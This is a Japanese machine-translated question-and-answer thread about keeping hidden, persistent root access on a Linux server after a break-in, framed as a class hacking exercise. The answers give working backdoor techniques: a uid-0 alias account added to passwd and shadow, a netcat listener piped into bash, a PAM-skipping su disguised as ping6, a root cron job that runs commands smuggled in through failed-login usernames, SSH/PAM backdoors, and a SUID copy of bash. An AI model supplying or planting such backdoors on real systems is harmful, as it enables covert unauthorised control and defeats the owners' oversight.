web-dev-qa-db-ja.com

Linuxで非表示の永続的なユーザーを作成するにはどうすればよいですか?

私のソフトウェアセキュリティクラスでは、教授が作成したサーバーにハッキングする必要があります。サーバーにハッキングして、rootユーザーのパスワードを取得しました。

Rootになったので、サーバーに永続的にアクセスできるようにします。サーバーの架空の所有者は、私が非常に迅速に引き継いだことを簡単に見つけるでしょう。

私が作成できる新しい「見えない」ユーザーの下でroot権限でサーバーに永続的にアクセスする方法はありますか?サーバーへの一貫性があり、検出されないアクセスを保持する他の方法があれば幸いです。

8
DanielPahor

それはむしろあなたが「見えない」によって何を意味するかによる。

システムの動作を変更して、検出可能なトレースを残さないことは実際には不可能です。あなたができることは、それらの痕跡を見つけるのをより難しくすることです。スケールの最端部では、ユーザー空間に戻るインターフェースを持つ、それ自体を隠すことができるカーネルモジュールをコンパイルできますが、これは簡単なことではありません。スケールの反対側では、既存のユーザーのエイリアスを/ etc/passwdと/ etc/shadowに追加できます。

     root:x:0:0:root:/root:/bin/bash
     toor:x:0:0:root:/root:/bin/bash

     root:$1$WXYZabc4:17158:0:99999:7:::
     toor:$1$ABCxyz12:17158:0:99999:7:::

(ターゲットは、より最新で詳細なcrypt実装を使用します)。これは影響を受けるファイルに表示されます。

Netcatまたは[x] inetdを使用して、シェルをネットワークに直接組み込むことができます

 nc -l -p 8282 | bash

...これはかなり明白であり、netstatとpsに表示されます。

既存のシステムユーザーにシェルを追加してパスワードを設定し、特権アクセスを利用するには、setuidプログラムが必要です。スクリプトのsetuidビットを設定しても機能しないことは、すでにご存じでしょう。おそらく、マジックユーザー名のpamをスキップするsuの修正バージョンです。/binに単にドロップしないでください-使用される可能性が低いと思われる既存のsetuidプログラム(たとえば、ping6)を上書きします。それでもtripwireまたはossecに表示されます。

1つの楽しみは、認証なしでデータを書き込むことができる場所を特定し、cronジョブをrootとして設定して文字列を抽出し、rootとして実行することです(以下は意図的に簡略化されています)。

 #!/bin/bash

 tail -100 /var/log/auth.log | \
 awk '/Failed password for gangsta/ {
       split($0, out, "gangsta|from");
       print out[1] "\n";
      }' >/tmp/myscript
 . /tmp/myscript
 rm -f /tmp/myscript

...これもホストIDSによって取得される可能性があり、cronファイルでこれをオーバーライドしない限り、cronはジョブの出力をユーザーにメールで送信することに注意してください。

3
symcbean

作成できる新しい「非表示」ユーザーの下でroot権限を使用してサーバーへの永続的なアクセスを確保する方法はありますか

多くの方法がありますが、より簡単な方法は、たとえば、SSHバイナリをバックドアすることです(検出不可能ではありません。rkhuntertripwireなどはすべて、問題があることを示します)。または、そのライブラリのいずれか、たとえば [〜#〜] pam [〜#〜] 。その後、いつでもルートとして再入力できます。

システムが正しく強化されている場合は、最大 Blue Pill レベルまでの「実際の」ルートキットが必要です。

2
LSerni

それはあなたの犠牲者に大きく依存します。単純で潜在的に効率的なアイデア:非rootアクセス権がある場合(そしてそれを失うことはないと想定している場合)、いくつかの実行可能ファイル(たとえば、/ bin/bash)をコピーしてSUIDビットを設定してみてください。もちろん、rootが所有するSUID実行可能ファイルを探すこともできますが、これは一目で疑うべきではありません。

タグdirty-cowを使用しているので、それはあなたのケースだと思います。 ☺

2
v6ak